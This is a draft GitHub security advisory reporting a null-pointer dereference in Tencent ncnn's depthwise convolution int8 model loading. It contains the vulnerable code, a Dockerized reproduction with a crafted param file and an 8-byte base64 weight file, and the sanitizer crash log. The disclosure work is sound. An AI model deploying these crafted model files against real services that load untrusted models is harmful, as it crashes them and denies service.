GitHub Advisory Manager
All advisories
Draft

Null Dereference in Int8 Model Loading

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Null Dereference in Int8 Model Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolutiondepthwise.cpp:87 in ConvolutionDepthWise::load_model
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5af1949170f9 bp 0x7fff5f3e9e40 sp 0x7fff5f3e9040 T0)

Summary

An attacker-supplied model pair whose .bin is truncated inside the int8 scale block terminates the loading process. With int8_scale_term set to 1 (or 101) on a ConvolutionDepthWise layer, ConvolutionDepthWise::load_model performs two unchecked mb.load calls and then indexes bottom_blob_int8_scales[0]; a short read leaves that Mat empty, so element zero is a read of address 0x0. Confirmed via ncnnoptimize crafted.param crafted.bin out.param out.bin 0, and reachable from any ncnn::Net::load_model call on untrusted files.

Detail

The untrusted fields are parameter key 8 (int8_scale_term) on the ConvolutionDepthWise line and the length of the weight file. load_param copies key 8 verbatim and only checks that the build has NCNN_INT8 enabled. In load_model the weight_data and bias_data reads are guarded with .empty(), but the int8 branch is not: both scale arrays are loaded without inspection and the second one is then subscripted.

// src/layer/convolutiondepthwise.cpp:81
#if NCNN_INT8
    if (int8_scale_term == 1 || int8_scale_term == 101)
    {
        weight_data_int8_scales = mb.load(group, 1);
        bottom_blob_int8_scales = mb.load(1, 1);

        float bottom_blob_int8_scale = bottom_blob_int8_scales[0];
        bottom_blob_int8_scales = Mat(group);
        bottom_blob_int8_scales.fill(bottom_blob_int8_scale);
    }

ModelBinFromDataReader::load returns a default-constructed Mat after logging "ModelBin read weight_data failed 0" whenever the reader cannot supply the requested bytes (src/modelbin.cpp:317-318). Mat::operator[] is ((float*)data)[i] with no null or bounds check, so line 87 reads four bytes at offset 0 of a null pointer.

The PoC layer is ConvolutionDepthWise dw 1 1 data output 0=1 1=1 2=1 3=1 5=0 6=1 7=1 8=1: weight_data_size is 1, group is 1, bias_term is 0 and int8_scale_term is 1. crafted.bin is the eight bytes struct.pack('<If', 0, 1.0) — a zero tag word plus one float — which exactly satisfies mb.load(weight_data_size, 0) through the raw-fp32 path and leaves the reader at end-of-file. Both subsequent mb.load calls therefore fail (the two failure lines in the sanitizer log), and the crash lands on the read of bottom_blob_int8_scales[0].

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-null-dereference-in-int8-model-loading-2 && cd ncnn-poc-null-dereference-in-int8-model-loading-2

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
1 1
ConvolutionDepthWise dw 0 1 out 6=1 8=1
POC_EOF

base64 -d > poc.bin <<'POC_EOF'
AAAAAAAAgD8=
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

ModelBin read weight_data failed 0
ModelBin read weight_data failed 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5791477540f9 bp 0x7fff3a8bad30 sp 0x7fff3a8b9f30 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5791477540f9 in ncnn::ConvolutionDepthWise::load_model(ncnn::ModelBin const&) /ncnn/src/layer/convolutiondepthwise.cpp:87
    #1 0x5791428a7a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #2 0x5791428a890a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #3 0x5791428a8c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #4 0x5791427bbcaf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #5 0x773cceb9d1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x773cceb9d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x57914273b624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/convolutiondepthwise.cpp:87 in ncnn::ConvolutionDepthWise::load_model(ncnn::ModelBin const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit